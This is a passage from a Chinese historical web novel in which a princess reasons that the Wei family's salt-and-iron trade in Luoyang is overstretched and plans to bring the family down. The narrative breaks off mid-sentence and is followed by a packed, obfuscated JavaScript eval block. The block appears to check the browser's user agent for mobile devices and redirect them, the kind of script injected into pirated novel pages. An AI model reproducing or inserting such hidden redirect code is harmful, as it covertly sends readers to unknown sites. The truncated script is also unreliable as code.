另一条腿。断了粮道,他在洛阳的盐铁也撑不住。这事儿,她应该知道。”
织意虽不甚懂这些商路上的弯弯绕,但记性倒好,将这番话一字不漏地带回了梁王府。
宁华姝听完,在书案前坐了一会儿,手里的笔悬在半空,墨汁滴落在笺纸上洇开一个小点。她低头看了看那个墨点,忽地笑了。
“原来如此。”她自言自语似的低声道,“韦家在洛阳做盐铁做得太大了,银子周转不开,才想到往南边贩粮填窟窿。难怪他要囤货抬价,寻常的粮行哪需要那么多现银周转,也就盐铁那种填不满的坑,才逼得他连百姓的米钱都要刮。”
她将笔搁下,望着窗外渐沉的暮色,眼底浮起一点冷光。
韦家这棵树看着枝繁叶茂,根却已经烂了一半。她要做的,不过是顺着那条烂根往下挖一挖罢了。至于这课树,倒下只在顷刻之间。
织意立在门口,看着公主独自坐在暮色里,既不点灯也不起身,只对着窗外那片暗下来的天光失神。
她没敢出声打扰,悄悄退了出去,将门轻轻带上。
门合上的那一瞬,她听见宁华姝在屋里轻声道了一句:"张煜啊张煜,你这份情,我记下了。"
织意站在廊下,抬头望了望天上初升的月亮,心说这世道真是变
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|nav